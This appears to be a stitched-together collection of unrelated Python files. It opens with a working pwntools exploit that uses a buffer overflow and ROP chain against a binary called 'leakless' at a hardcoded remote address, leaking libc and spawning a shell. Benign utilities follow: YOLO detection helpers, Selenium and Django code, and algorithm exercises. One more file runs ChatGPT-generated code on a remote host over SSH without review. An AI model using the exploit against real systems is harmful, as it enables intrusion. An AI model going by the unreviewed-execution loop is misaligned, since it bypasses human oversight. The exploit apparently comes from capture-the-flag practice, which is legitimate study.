#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

exe = context.binary = ELF('leakless')

host = args.HOST or '51.68.189.144'
port = int(args.PORT or 31007)

def local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return local(argv, *a, **kw)
    else:
        return remote(argv, *a, **kw)

gdbscript = '''
break *0x{exe.symbols.main:x}
continue
'''.format(**locals())

# -- Exploit goes here --

io = start()

rop = ROP(exe)
rop.read(0, exe.symbols['__bss_start'], 8)
rop.puts(exe.got['puts'])
rop.main()
rop.exit(0)
# no syscall gadget :(
#rop.execve(exe.symbols['__bss_start'], 0, 0)

if args.LOCAL:
    libc = ELF('/lib/libc.so.6')
else:
    libc = ELF('./libc32.so')

log.info(rop.dump())

payload = "A" * 76 + rop.chain()

io.send(payload)
io.send('/bin/sh\x00')
addr = u32(io.recv()[:4]) - libc.symbols['puts']
log.success(hex(addr))

libc.address =addr
rop = ROP(libc)
rop.system(exe.symbols['__bss_start'])
payload = "A"*76+rop.chain()
io.send(payload)

io.interactive()


import torch
import torchvision
import numpy as np
import math
import cv2
# # from ultralytics.yolo.utils.general import xywh2xyxy
# try:
#     from ultralytics.yolo.utils.metrics import box_iou
#     from ultralytics.yolo.utils.ops import xywh2xyxy
#     from ultralytics.nn.autoshape import scale_boxes, Detections
# except ImportError:
def xywh2xyxy(x):
    # Convert nx4 boxes from [x, y, w, h] to [x1, y1, x2, y2] where xy1=top-left, xy2=bottom-right
    y = x.clone() if isinstance(x, torch.Tensor) else np.copy(x)
    y[..., 0] = x[..., 0] - x[..., 2] / 2  # top left x
    y[..., 1] = x[..., 1] - x[..., 3] / 2  # top left y
    y[..., 2] = x[..., 0] + x[..., 2] / 2  # bottom right x
    y[..., 3] = x[..., 1] + x[..., 3] / 2  # bottom right y
    return y

def box_iou(box1, box2, eps=1e-7):
    """
    Calculate intersection-over-union (IoU) of boxes.
    Both sets of boxes are expected to be in (x1, y1, x2, y2) format.
    Based on https://github.com/pytorch/vision/blob/master/torchvision/ops/boxes.py

    Args:
        box1 (torch.Tensor): A tensor of shape (N, 4) representing N bounding boxes.
        box2 (torch.Tensor): A tensor of shape (M, 4) representing M bounding boxes.
        eps (float, optional): A small value to avoid division by zero. Defaults to 1e-7.

    Returns:
        (torch.Tensor): An NxM tensor containing the pairwise IoU values for every element in box1 and box2.
    """

    # inter(N,M) = (rb(N,M,2) - lt(N,M,2)).clamp(0).prod(2)
    (a1, a2), (b1, b2) = box1.unsqueeze(1).chunk(2, 2), box2.unsqueeze(0).chunk(2, 2)
    inter = (torch.min(a2, b2) - torch.max(a1, b1)).clamp_(0).prod(2)

    # IoU = inter / (area1 + area2 - inter)
    return inter / ((a2 - a1).prod(2) + (b2 - b1).prod(2) - inter + eps)

def exif_transpose(image):
    """
    Transpose a PIL image accordingly if it has an EXIF Orientation tag.
    Inplace version of https://github.com/python-pillow/Pillow/blob/master/src/PIL/ImageOps.py exif_transpose()

    :param image: The image to transpose.
    :return: An image.
    """
    exif = image.getexif()
    orientation = exif.get(0x0112, 1)  # default 1
    if orientation > 1:
        method = {
            2: Image.FLIP_LEFT_RIGHT,
            3: Image.ROTATE_180,
            4: Image.FLIP_TOP_BOTTOM,
            5: Image.TRANSPOSE,
            6: Image.ROTATE_270,
            7: Image.TRANSVERSE,
            8: Image.ROTATE_90}.get(orientation)
        if method is not None:
            image = image.transpose(method)
            del exif[0x0112]
            image.info['exif'] = exif.tobytes()
    return image

def make_divisible(x, divisor):
    # Returns nearest x divisible by divisor
    if isinstance(divisor, torch.Tensor):
        divisor = int(divisor.max())  # to int
    return math.ceil(x / divisor) * divisor

def letterbox(im, new_shape=(640, 640), color=(114, 114, 114), auto=True, scaleFill=False, scaleup=True, stride=32):
    # Resize and pad image while meeting stride-multiple constraints
    shape = im.shape[:2]  # current shape [height, width]
    if isinstance(new_shape, int):
        new_shape = (new_shape, new_shape)

    # Scale ratio (new / old)
    r = min(new_shape[0] / shape[0], new_shape[1] / shape[1])
    if not scaleup:  # only scale down, do not scale up (for better val mAP)
        r = min(r, 1.0)

    # Compute padding
    ratio = r, r  # width, height ratios
    new_unpad = int(round(shape[1] * r)), int(round(shape[0] * r))
    dw, dh = new_shape[1] - new_unpad[0], new_shape[0] - new_unpad[1]  # wh padding
    if auto:  # minimum rectangle
        dw, dh = np.mod(dw, stride), np.mod(dh, stride)  # wh padding
    elif scaleFill:  # stretch
        dw, dh = 0.0, 0.0
        new_unpad = (new_shape[1], new_shape[0])
        ratio = new_shape[1] / shape[1], new_shape[0] / shape[0]  # width, height ratios

    dw /= 2  # divide padding into 2 sides
    dh /= 2

    if shape[::-1] != new_unpad:  # resize
        im = cv2.resize(im, new_unpad, interpolation=cv2.INTER_LINEAR)
    top, bottom = int(round(dh - 0.1)), int(round(dh + 0.1))
    left, right = int(round(dw - 0.1)), int(round(dw + 0.1))
    im = cv2.copyMakeBorder(im, top, bottom, left, right, cv2.BORDER_CONSTANT, value=color)  # add border
    return im, ratio, (dw, dh)

def non_max_suppression_obj(
        prediction,
        conf_thres=0.25,
        iou_thres=0.45,
        classes=None,
        agnostic=False,
        multi_label=False,
        labels=(),
        max_det=1000,
        nm=0,  # number of masks
):
    """Non-Maximum Suppression (NMS) on inference results to reject overlapping detections

    Returns:
         list of detections, on (n,7) tensor per image [xyxy, conf, cls, obj_conf]
    """

    # Checks
    assert 0 <= conf_thres <= 1, f'Invalid Confidence threshold {conf_thres}, valid values are between 0.0 and 1.0'
    assert 0 <= iou_thres <= 1, f'Invalid IoU {iou_thres}, valid values are between 0.0 and 1.0'
    if isinstance(prediction, (list, tuple)):  # YOLOv5 model in validation model, output = (inference_out, loss_out)
        prediction = prediction[0]  # select only inference output

    device = prediction.device
    mps = 'mps' in device.type  # Apple MPS
    if mps:  # MPS not fully supported yet, convert tensors to CPU before NMS
        prediction = prediction.cpu()
    bs = prediction.shape[0]  # batch size
    nc = prediction.shape[2] - nm - 5  # number of classes
    xc = prediction[..., 4] > conf_thres  # candidates

    # Settings
    # min_wh = 2  # (pixels) minimum box width and height
    max_wh = 7680  # (pixels) maximum box width and height
    max_nms = 30000  # maximum number of boxes into torchvision.ops.nms()
    time_limit = 0.5 + 0.05 * bs  # seconds to quit after
    redundant = True  # require redundant detections
    multi_label &= nc > 1  # multiple labels per box (adds 0.5ms/img)
    merge = False  # use merge-NMS

    # t = time.time()
    mi = 5 + nc  # mask start index
    output = [torch.zeros((0, 8 + nm), device=prediction.device)] * bs
    for xi, x in enumerate(prediction):  # image index, image inference
        # Apply constraints
        # x[((x[..., 2:4] < min_wh) | (x[..., 2:4] > max_wh)).any(1), 4] = 0  # width-height
        x = x[xc[xi]]  # confidence

        # Cat apriori labels if autolabelling
        if labels and len(labels[xi]):
            lb = labels[xi]
            v = torch.zeros((len(lb), nc + nm + 5), device=x.device)
            v[:, :4] = lb[:, 1:5]  # box
            v[:, 4] = 1.0  # conf
            v[range(len(lb)), lb[:, 0].long() + 5] = 1.0  # cls
            x = torch.cat((x, v), 0)

        # If none remain process next image
        if not x.shape[0]:
            continue

        # Compute conf
        obj_conf = x[:, 4:5]
        x[:, 5:] *= x[:, 4:5]  # conf = obj_conf * cls_conf

        # Box/Mask
        box = xywh2xyxy(x[:, :4])  # center_x, center_y, width, height) to (x1, y1, x2, y2)
        mask = x[:, mi:]  # zero columns if no masks

        # Detections matrix nx6 (xyxy, conf, cls)
        if multi_label:
            i, j = (x[:, 5:mi] > conf_thres).nonzero(as_tuple=False).T
            x = torch.cat((box[i], x[i, 5 + j, None], j[:, None].float(), obj_conf[i], x[i, 5 + j, None] / obj_conf[i], mask[i]), 1)
        else:  # best class only
            conf, j = x[:, 5:mi].max(1, keepdim=True)
            x = torch.cat((box, conf, j.float(), obj_conf, conf / obj_conf, mask), 1)[conf.view(-1) > conf_thres]

        # Filter by class
        if classes is not None:
            x = x[(x[:, 5:6] == torch.tensor(classes, device=x.device)).any(1)]

        # Apply finite constraint
        # if not torch.isfinite(x).all():
        #     x = x[torch.isfinite(x).all(1)]

        # Check shape
        n = x.shape[0]  # number of boxes
        if not n:  # no boxes
            continue
        x = x[x[:, 4].argsort(descending=True)[:max_nms]]  # sort by confidence and remove excess boxes

        # Batched NMS
        c = x[:, 5:6] * (0 if agnostic else max_wh)  # classes
        boxes, scores = x[:, :4] + c, x[:, 4]  # boxes (offset by class), scores
        i = torchvision.ops.nms(boxes, scores, iou_thres)  # NMS
        i = i[:max_det]  # limit detections
        if merge and (1 < n < 3E3):  # Merge NMS (boxes merged using weighted mean)
            # update boxes as boxes(i,4) = weights(i,n) * boxes(n,4)
            iou = box_iou(boxes[i], boxes) > iou_thres  # iou matrix
            weights = iou * scores[None]  # box weights
            x[i, :4] = torch.mm(weights, x[:, :4]).float() / weights.sum(1, keepdim=True)  # merged boxes
            if redundant:
                i = i[iou.sum(1) > 1]  # require redundancy

        output[xi] = x[i]
        if mps:
            output[xi] = output[xi].to(device)
        # if (time.time() - t) > time_limit:
        #     LOGGER.warning(f'WARNING ⚠ NMS time limit {time_limit:.3f}s exceeded')
        #     break  # time limit exceeded

    return output

from pathlib import Path
import pickle as pkl
import pandas as pd
from tqdm import tqdm, trange
from torchvision import transforms
from PIL import Image
def yolo_process(yolomodel, imgpathlist, batch_size=100, size=256, savename=None, sumdir=Path("")):
    """Process images with yolo model and return results in a list of dataframes"""
    results_dfs = []
    for i in trange(0, len(imgpathlist), batch_size):
        results = yolomodel(imgpathlist[i:i+batch_size], size=size)
        results_dfs.extend(results.pandas().xyxy)
        # yolo_results[i] = results

    yolo_stats = {}
    for i, single_df in tqdm(enumerate(results_dfs)):
        yolo_stats[i] = {"confidence": single_df.confidence.max(),
                        "class": single_df["class"][single_df.confidence.argmax()] if len(single_df) > 0 else None,
                        "n_objs": len(single_df),
                        "img_path": imgpathlist[i]}
    yolo_stats_df = pd.DataFrame(yolo_stats).T
    if savename is not None:
        yolo_stats_df.to_csv(sumdir / f"{savename}_yolo_stats.csv")
        pkl.dump(results_dfs, open(sumdir / f"{savename}_dfs.pkl", "wb"))
        print(f"Saved to {sumdir / f'{savename}_dfs.pkl'}")
        print(f"Saved to {sumdir / f'{savename}_yolo_stats.csv'}")
    print("Fraction of images with objects", (yolo_stats_df.n_objs > 0).mean())
    print("confidence", yolo_stats_df.confidence.mean(), "confidence with 0 filled",
          yolo_stats_df.confidence.fillna(0).mean())
    if len(yolo_stats_df) > 0:
        print("most common class", yolo_stats_df["class"].value_counts().index[0])
    print("n_objs", yolo_stats_df.n_objs.mean(), )
    return results_dfs, yolo_stats_df

def nms_output2df(nms_results, class_names=None):
    """
    :param nms_results: list of torch.tensor shape (n, 8)
            x1, y1, x2, y2, conf, cls, obj_conf, cls_conf
    :return:
        list of pandas.DataFrame
    """
    df_list = []
    for nms_result in nms_results:
        df = pd.DataFrame(nms_result.numpy(), columns=\
                        ['xmin', 'ymin', 'xmax', 'ymax',
                         'confidence', 'class', 'obj_conf', 'cls_conf'])
        df['class'] = df['class'].astype(int)
        if class_names is not None:
            df['name'] = df['class'].apply(lambda x: class_names[x]) if not df.empty else None
        df_list.append(df)
    return df_list

def load_batch_imgpaths(imgpaths, size=256, ):
    # https://github.com/ultralytics/yolov5/blob/2334aa733872bc4bb3e1a1ba90e5fd319399596f/models/common.py#LL679C9-L679C9
    # transforms.ToTensor()  # normalizes to 0-1
    import matplotlib.pyplot as plt
    import torch.nn.functional as F
    transform = transforms.Compose([
        transforms.Resize(size),
        transforms.ToTensor(),
    ])
    imglist = []
    for imgpath in imgpaths:
        im_pil = Image.open(imgpath).convert('RGB')
        imtsr = transform(im_pil)
        imglist.append(imtsr)
    imgtsrs = torch.stack(imglist, 0)
    return imgtsrs

def load_batch_imgs_resize(imgpaths, size=256, stride=32):
    import cv2
    if isinstance(size, int):  # expand
        size = (size, size)
    imglist = []
    n, ims = (len(imgpaths), list(imgpaths)) if isinstance(imgpaths, (list, tuple)) \
        else (1, [imgpaths])  # number, list of images
    shape0, shape1 = [], []
    for imgpath in imgpaths:
        if isinstance(imgpath, (str, Path)):
            im_pil = Image.open(imgpath)
            im = np.asarray(exif_transpose(im_pil))
        elif isinstance(imgpath, Image.Image):
            im = np.asarray(exif_transpose(imgpath))
        elif isinstance(imgpath, np.ndarray):
            im = imgpath

        if im.shape[0] < 5:  # image in CHW
            im = im.transpose((1, 2, 0))  # reverse dataloader .transpose(2, 0, 1)
        im = im[..., :3] if im.ndim == 3 else cv2.cvtColor(im, cv2.COLOR_GRAY2BGR)  # enforce 3ch input
        s = im.shape[:2]  # HWC
        s = im.shape[:2]  # HWC
        shape0.append(s)  # image shape
        g = max(size) / max(s)  # gain
        shape1.append([int(y * g) for y in s])
        if not im.data.contiguous:
            im = np.ascontiguousarray(im)  # update
        imglist.append(im)
    shape1 = [make_divisible(x, stride) for x in np.array(shape1).max(0)]  # inf shape
    x = [letterbox(im, shape1, auto=False)[0] for im in imglist]  # pad
    x = np.ascontiguousarray(np.array(x).transpose((0, 3, 1, 2)))  # stack and BHWC to BCHW
    imgtsrs = torch.from_numpy(x) / 255  # uint8 to fp16/32
    return imgtsrs

def yolo_process_objconf(yolomodel, imgpathlist, batch_size=100, size=256, savename=None, sumdir=Path(""),
                         use_letterbox_resize=False):
    """Process images with yolo model and return results in a list of dataframes"""
    results_dfs = []
    for i in trange(0, len(imgpathlist), batch_size):
        # results = yolomodel(imgpathlist[i:i+batch_size], size=size)
        if use_letterbox_resize:
            imtsrs = load_batch_imgs_resize(imgpathlist[i:i + batch_size], size=size, stride=yolomodel.stride)
        else:
            imtsrs = load_batch_imgpaths(imgpathlist[i:i+batch_size], size=size)
        outtsr = yolomodel(imtsrs.cuda()).cpu()
        nms_result = non_max_suppression_obj(outtsr,
                                             yolomodel.conf, yolomodel.iou,
                                             yolomodel.classes, yolomodel.agnostic,
                                             yolomodel.multi_label,
                                             max_det=yolomodel.max_det)  # NMS
        result_df = nms_output2df(nms_result, yolomodel.names)
        results_dfs.extend(result_df)
        # yolo_results[i] = results

    yolo_stats = {}
    for i, single_df in tqdm(enumerate(results_dfs)):
        if len(single_df) > 0:
            max_row = single_df.loc[single_df.confidence.argmax()]
            yolo_stats[i] = {"xmin": max_row.xmin,
                             "ymin": max_row.ymin,
                             "xmax": max_row.xmax,
                             "ymax": max_row.ymax,
                             "confidence": max_row.confidence,
                             'obj_confidence': max_row.obj_conf,
                             'cls_confidence': max_row.cls_conf,
                             "class": max_row["class"],
                             "n_objs": len(single_df),
                             "img_path": imgpathlist[i]}
        else:
            yolo_stats[i] = { "xmin": None, "ymin": None,
                              "xmax": None, "ymax": None,
                              "confidence": None,
                              'obj_confidence': None,
                              'cls_confidence': None,
                              "class": None,
                              "n_objs": len(single_df),
                              "img_path": imgpathlist[i]}

    yolo_stats_df = pd.DataFrame(yolo_stats).T
    if savename is not None:
        yolo_stats_df.to_csv(sumdir / f"{savename}_yolo_objconf_stats.csv")
        pkl.dump(results_dfs, open(sumdir / f"{savename}_objconf_dfs.pkl", "wb"))
        print(f"Saved to {sumdir / f'{savename}_objconf_dfs.pkl'}")
        print(f"Saved to {sumdir / f'{savename}_yolo_objconf_stats.csv'}")
    print("Fraction of images with objects", (yolo_stats_df.n_objs > 0).mean())
    print("confidence", yolo_stats_df.confidence.mean(), "confidence with 0 filled",
          yolo_stats_df.confidence.fillna(0).mean())
    print("obj_confidence", yolo_stats_df.obj_confidence.mean(), "obj_confidence with 0 filled",
          yolo_stats_df.obj_confidence.fillna(0).mean())
    print("cls_confidence", yolo_stats_df.cls_confidence.mean(), "cls_confidence with 0 filled",
          yolo_stats_df.cls_confidence.fillna(0).mean())
    print("n_objs", yolo_stats_df.n_objs.mean(), )
    if len(yolo_stats_df) > 0:
        most_common_class = yolo_stats_df["class"].value_counts().index[0]
        print("most common class", most_common_class, " name:", yolomodel.names[most_common_class])
    return results_dfs, yolo_stats_df

def yolo_process_objconf_arrs(yolomodel, imgarr, batch_size=100, size=256, savename=None, sumdir=Path(""), ):
    """Process images with yolo model and return results in a list of dataframes"""
    results_dfs = []
    for i in trange(0, len(imgarr), batch_size):
        # results = yolomodel(imgpathlist[i:i+batch_size], size=size)
        imtsrs = load_batch_imgs_resize(imgarr[i:i+batch_size],
                                        size=size, stride=yolomodel.stride)
        # TODO use size
        outtsr = yolomodel(imtsrs.cuda()).cpu()
        nms_result = non_max_suppression_obj(outtsr,
                                             yolomodel.conf, yolomodel.iou,
                                             yolomodel.classes, yolomodel.agnostic,
                                             yolomodel.multi_label,
                                             max_det=yolomodel.max_det)  # NMS
        result_df = nms_output2df(nms_result, yolomodel.names)
        results_dfs.extend(result_df)
        # yolo_results[i] = results

    yolo_stats = {}
    for i, single_df in tqdm(enumerate(results_dfs)):
        if len(single_df) > 0:
            max_row = single_df.loc[single_df.confidence.argmax()]
            yolo_stats[i] = {"xmin": max_row.xmin,
                             "ymin": max_row.ymin,
                             "xmax": max_row.xmax,
                             "ymax": max_row.ymax,
                             "confidence": max_row.confidence,
                             'obj_confidence': max_row.obj_conf,
                             'cls_confidence': max_row.cls_conf,
                             "class": max_row["class"],
                             "n_objs": len(single_df),
                             "imgnum": i}
        else:
            yolo_stats[i] = { "xmin": None, "ymin": None,
                              "xmax": None, "ymax": None,
                              "confidence": None,
                              'obj_confidence': None,
                              'cls_confidence': None,
                              "class": None,
                              "n_objs": len(single_df),
                              "imgnum": i}

    yolo_stats_df = pd.DataFrame(yolo_stats).T
    if savename is not None:
        yolo_stats_df.to_csv(sumdir / f"{savename}_yolo_objconf_stats.csv")
        pkl.dump(results_dfs, open(sumdir / f"{savename}_objconf_dfs.pkl", "wb"))
        print(f"Saved to {sumdir / f'{savename}_objconf_dfs.pkl'}")
        print(f"Saved to {sumdir / f'{savename}_yolo_objconf_stats.csv'}")
    print("Fraction of images with objects", (yolo_stats_df.n_objs > 0).mean())
    print("confidence", yolo_stats_df.confidence.mean(), "confidence with 0 filled",
          yolo_stats_df.confidence.fillna(0).mean())
    print("obj_confidence", yolo_stats_df.obj_confidence.mean(), "obj_confidence with 0 filled",
          yolo_stats_df.obj_confidence.fillna(0).mean())
    print("cls_confidence", yolo_stats_df.cls_confidence.mean(), "cls_confidence with 0 filled",
          yolo_stats_df.cls_confidence.fillna(0).mean())
    print("n_objs", yolo_stats_df.n_objs.mean(), )
    if len(yolo_stats_df) > 0:
        most_common_class = yolo_stats_df["class"].value_counts().index[0]
        print("most common class", most_common_class, " name:", yolomodel.names[most_common_class])
    return results_dfs, yolo_stats_df
# im_np = plt.imread(r"F:\insilico_exps\GAN_sample_fid\BigGAN_std_008\sample0310.png")
# im_np = plt.imread(r"F:\insilico_exps\GAN_sample_fid\BigGAN_std_008\sample0398.png")
# im_np = plt.imread(r"F:\insilico_exps\GAN_sample_fid\DeePSim_4std\sample0039.png")
# im_np = plt.imread(r"F:\insilico_exps\GAN_sample_fid\BigGAN_std_008\sample0709.png")
#
# # im_np = plt.imread(r"F:\insilico_exps\GAN_sample_fid\DeePSim_4std\sample0390.png")
# imtsr = torch.from_numpy(im_np.transpose(2, 0, 1)).unsqueeze(0).cuda()
# outtsr = yolomodel(imtsr).cpu()
# nms_result = non_max_suppression_obj(outtsr,
#                          yolomodel.conf, yolomodel.iou,
#                          yolomodel.classes, yolomodel.agnostic,
#                          yolomodel.multi_label,
#                          max_det=yolomodel.max_det)  # NMS
# Detections(imtsr, nms_result, None, None, None, None)


"""Time the 'dtool copy' command."""

import time

try:
    from urlparse import urlparse
except ImportError:
    from urllib.parse import urlparse

import click
import dtoolcore

@click.command()
@click.argument("input_uri")
@click.argument("output_prefix")
@click.argument("output_storage", default="file")
def main(input_uri, output_prefix, output_storage):
    StorageBroker = dtoolcore._get_storage_broker(input_uri, None)
    parsed_uri = urlparse(input_uri)

    for uri in StorageBroker.list_dataset_uris(parsed_uri.path, None):
        dataset = dtoolcore.DataSet.from_uri(uri)
        name = dataset.name

        start = time.time()
        dtoolcore.copy(uri, output_prefix, output_storage)
        elapsed = time.time() - start
        print("Copying {} took: {}s".format(name, elapsed))

if __name__ == "__main__":
    main()


from selenium import webdriver

class WebDriverFactory():

    def __init__(self, browser, private=False, baseURL="https://courses.letskodeit.com"):
        self.browser = browser
        self.private = private
        self.baseURL = baseURL

    def getWebDriverInstance(self):

        if self.browser == "firefox":
            profile = webdriver.FirefoxProfile()
            if self.private:
                profile.set_preference("browser.privatebrowsing.autostart", True)

            driver = webdriver.Firefox(firefox_profile=profile)

        elif self.browser == "chrome":
            chrome_options = webdriver.ChromeOptions()
            chrome_options.add_experimental_option("useAutomationExtension", False)
            chrome_options.add_experimental_option("excludeSwitches", ["enable-automation"])
            if self.private:
                chrome_options.add_argument("--incognito")

            driver = webdriver.Chrome(options=chrome_options)
        else:
            driver = webdriver.Firefox()
        # Setting Driver Implicit Time out for An Element
        driver.implicitly_wait(3)
        # Maximize the window
        driver.maximize_window()
        # Loading browser with App URL
        driver.get(self.baseURL)
        return driver

    def gotoBaseURL(self, your_driver):
        your_driver.get(self.baseURL)


T = int(input())
for tc in range(T):
    N = int(input())
    arr = list(map(int, input().split()))

    # 정렬을 한다.(선택정렬)
    for i in range(0, len(arr) - 1):
        min_value = i
        # 최소를 찾아 교환
        for j in range(i + 1, len(arr)):
            if arr[min_value] > arr[j]:
                min_value = j
        arr[i], arr[min_value] = arr[min_value], arr[i]

    left = 0 # 왼쪽 위치
    right = len(arr)-1 # 오른쪽 위치
    answer = []
    cnt = 0
    while cnt < 5: # 왼쪽이 오른쪽보다 커지면 반복문 종료
        if left >= right:
            break
        answer.append(arr[right])
        answer.append(arr[left])
        left += 1
        right -= 1
        cnt += 1

    print("#{}".format(tc+1), end=' ')
    print(*answer, end=' ')
    print()


from django import template
from githubpage.models import GitHubRepo, GitHubRepoPage
from datetime import datetime, timezone
import util
register = template.Library()

@register.simple_tag(takes_context=True)
def reload_github_repo(context, user="", repo=""):
    """Refreshes/created data for a GitHubRepoPage using the GitHub API."""

    fetch_new_data = False  # if we need to fetch new data

    _repos = GitHubRepo.objects.filter(owner_name__iexact=user, name__iexact=repo)
    if _repos.count() > 0:
        old_repo = _repos[0]
        if (datetime.now(timezone.utc) - old_repo.object_last_updated).days >= 1:  # if at least 1 day passed since last update
            fetch_new_data = True  # fetch new data, because the one we have is outdated
    else:  # if there is no repo matching the given owner and repo name
        fetch_new_data = True  # ...we definitely ned to fetch teh data from the GitHub API
        old_repo = None

    if fetch_new_data:
        ghdata = util.retrieve_github_repo(user, repo)
        if ghdata['status'] == '200 OK':
            repo_status = util.convert_github_private_status(ghdata['private'])
            if old_repo is None:
                new_github_data = GitHubRepo(
                    name=ghdata['name'],
                    owner_name=ghdata['owner']['login'],
                    owner_id=ghdata['owner']['id'],
                    access_status=repo_status,
                    description=ghdata['description'],
                    created_on=ghdata['created_at'],
                    last_updated=ghdata['updated_at'],
                    size=ghdata['size'],
                    language=ghdata['language'],
                    issues=ghdata['open_issues'],
                    forks=ghdata['forks_count'],
                    stargazers=ghdata['stargazers_count'],
                    subscribers=ghdata['subscribers_count'],
                    object_last_updated=datetime.now(),
                    repo_url=ghdata['html_url'],
                )
            else:
                new_github_data = GitHubRepo(
                    id=old_repo.id,
                    name=ghdata['name'],
                    owner_name=ghdata['owner']['login'],
                    owner_id=ghdata['owner']['id'],
                    access_status=repo_status,
                    description=ghdata['description'],
                    created_on=ghdata['created_at'],
                    last_updated=ghdata['updated_at'],
                    size=ghdata['size'],
                    language=ghdata['language'],
                    issues=ghdata['open_issues'],
                    forks=ghdata['forks_count'],
                    stargazers=ghdata['stargazers_count'],
                    subscribers=ghdata['subscribers_count'],
                    object_last_updated=datetime.now(),
                    repo_url=ghdata['html_url'],
                    )
            new_github_data.save()
            curr_page = GitHubRepoPage.objects.filter(id=context["curr_page_id"])[0]
            curr_page.repo = new_github_data
            curr_page.save()
            context['update_successful'] = True  # tell site context that we successfully updated the repo
        else:  # if we didn't recieve a 200 OK response
            context['update_successful'] = False  # tell site context that the update was not successful
    else:
        context['update_successful'] = True  # tell site that no update was needed, which is a success in itself
    return ''  # return an empty string, because we cannot return nothing


class Solution(object):
    def convertToTitle(self, n):
        """
        :type n: int
        :rtype: str
        """
        ret = []
        while n > 0:
            cur = (n-1) % 26
            ret.append(chr(ord('A') + cur))
            n = (n-1) / 26
        ret.reverse()
        return ''.join(ret)


import datetime
import logging

import google.cloud.logging

from mercury.bigquery_client import BigqueryClient
from mercury.dto import CodeExecutionDTO
from mercury.openai_client import (
    INTERACTION_SYSTEM_MESSAGE,
    INTERACTION_USER_MESSAGE_TEMPLATE,
    TASK,
    OpenaiClient,
)
from mercury.settings import Settings
from mercury.ssh_client import SshClient
from mercury.utils import (
    count_tokens,
    digest_output_for_openai,
    extract_code,
    trim_by_token_count,
)

settings = Settings()
bigquery_client = BigqueryClient(settings)
ssh_client = SshClient(settings)
openai_client = OpenaiClient(settings)

client = google.cloud.logging.Client()
client.setup_logging()
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)

def chatgpt_scheduler(event, context):
    logger.info("Function triggered by scheduler")
    last_executions = bigquery_client.get_5_last_executed_code()
    digested_last_executions = []
    for execution in last_executions:
        output = digest_output_for_openai(
            execution.code,
            execution.output,
            openai_client.summarize_command_output,
        )
        error_output = digest_output_for_openai(
            execution.code,
            execution.error_output,
            openai_client.summarize_command_output,
        )
        digested_last_executions.append(
            CodeExecutionDTO(
                code=trim_by_token_count(execution.code, 500),
                output=output,
                error_output=error_output,
                timestamp=execution.timestamp,
            )
        )

    formatted_last_executions = "\n---\n".join(
        str(execution) for execution in digested_last_executions
    )

    tail = ssh_client.execute_code("tail /home/debian/progress.txt")

    prompt = (
        INTERACTION_SYSTEM_MESSAGE.format(task=TASK)
        + INTERACTION_USER_MESSAGE_TEMPLATE.format(
            output=formatted_last_executions
        )
        + str(tail)
    )
    chatgpt_response = openai_client.get_chatgpt_response(prompt)
    bigquery_client.insert_chat_record(prompt, chatgpt_response)
    code_snippets = extract_code(chatgpt_response)
    logger.info(f"response: {chatgpt_response}")
    logger.info(f"Code snippets extracted from response: {code_snippets}")

    if count_tokens(" ".join(code_snippets)) > 500:
        logger.info("Code snippets too long, not executing.")
        bigquery_client.insert_execution_record(
            CodeExecutionDTO(
                code="Code snippets too long, not executing.",
                output="",
                error_output="",
                timestamp=str(int(datetime.datetime.now().timestamp())),
            )
        )
        return "Code snippets too long, not executing.", 200

    if not code_snippets:
        logger.info("No code snippets found, not executing.")
        bigquery_client.insert_execution_record(
            CodeExecutionDTO(
                code="No code snippets found, not executing. Commands must be enclosed in three backticks (```)",
                output="",
                error_output="",
                timestamp=str(int(datetime.datetime.now().timestamp())),
            )
        )
        return "No code snippets found, not executing.", 200

    for code in code_snippets:
        logger.info(f"Executing code: {code}")
        execution = ssh_client.execute_code(code)
        bigquery_client.insert_execution_record(execution)

    return "Function executed successfully.", 200


from sys import stdin

N = int(stdin.readline())
A = [int(x) for x in stdin.readlines()]
#  이 계단까지 오는데 최댓값
# 안밟았다, 처음 밟는다. 두번째로 밟았다.
#dp = [ [0, 0, 0] for _ in range(N+1)]
dp = [ 0 for _ in range(N)]
# 연속으로?
# 그냥?

"""
for i in range(1, N):
    dp[i][0] = max(dp[i-1][1], dp[i-1][2])
    dp[i][1] = max(dp[i-1][0], dp[i-1][1]) + A[i]
    dp[i][2] = dp[i-1][1] + A[i]
"""
dp[0] = A[0]
dp[1] = A[0]+A[1]
dp[2] = max(A[1]+A[2], A[0]+A[2])
for i in range(3, N):
    dp[i] = max(A[i] + A[i-1] + dp[i-3], A[i]+dp[i-2])

print(dp[N-1])

"""
N = input()
arr = []
mem = [ 0 for _ in xrange(N)]

for n in xrange(N):
    arr.append(input())

def descend(i):
    if mem[i] != 0:
        return mem[i]

    if i == 0:
        return arr[i]
    elif i < 0:
        return 0

    mem[i] = max(arr[i] + arr[i-1] + descend(i-3), arr[i] + descend(i-2))

    return mem[i]

print(descend(N-1))
"""


from guizero import *

# show the image window and resize it to have space for the full image
def show_image(image_win):
    global original_image_height, original_image_width
    image_win.show()
    image_win.height = original_image_height
    image_win.width = original_image_width

def resize_image(slider_value):
    global image, original_image_height, original_image_width

    # calculate new size of the image and resize the image accordingly
    new_image_height = int(original_image_height * int(slider_value) / 100)
    new_image_width = int(original_image_width * int(slider_value) / 100)
    image.resize(new_image_width, new_image_height)

# take image file name
image_file_name = 'img1.png'

# define main window and image window
main_window = App('Image resize', width=300, height=200)
image_window = Window(main_window, 'Resized Image', visible=False)

# add a push button (to main window) to show image
Box(main_window, height=30, width=30, align="top")   # add a margin at the top
PushButton(main_window, text='Show Image', command=show_image, args=[image_window])   # a button to show image

# add the image to image window
image = Picture(image_window, image=image_file_name)
original_image_height = image.height
original_image_width = image.width

# add a slider (to main window) that changes the size of the image based on the slider value (as a percentage)
Box(main_window, height=20, width=20, align="top")  # add a margin at the top
Text(main_window, text="Scale: ")
image_resize_slider = Slider(main_window, start=1, end=100, command=resize_image)
image_resize_slider.value = 100

# show main window
main_window.display()


# origin is xy tuple; direction must be in radians
import math

def calculate_location(origin, speed, direction):
    new_x = origin[0] + (speed * math.cos(direction))
    new_y = origin[1] + (speed * math.sin(direction))

    return new_x, new_y


import itertools
import pickle
from collections import Counter

import matplotlib.pyplot as plt
import numpy as np
from keras.utils import to_categorical
from sklearn.metrics import confusion_matrix
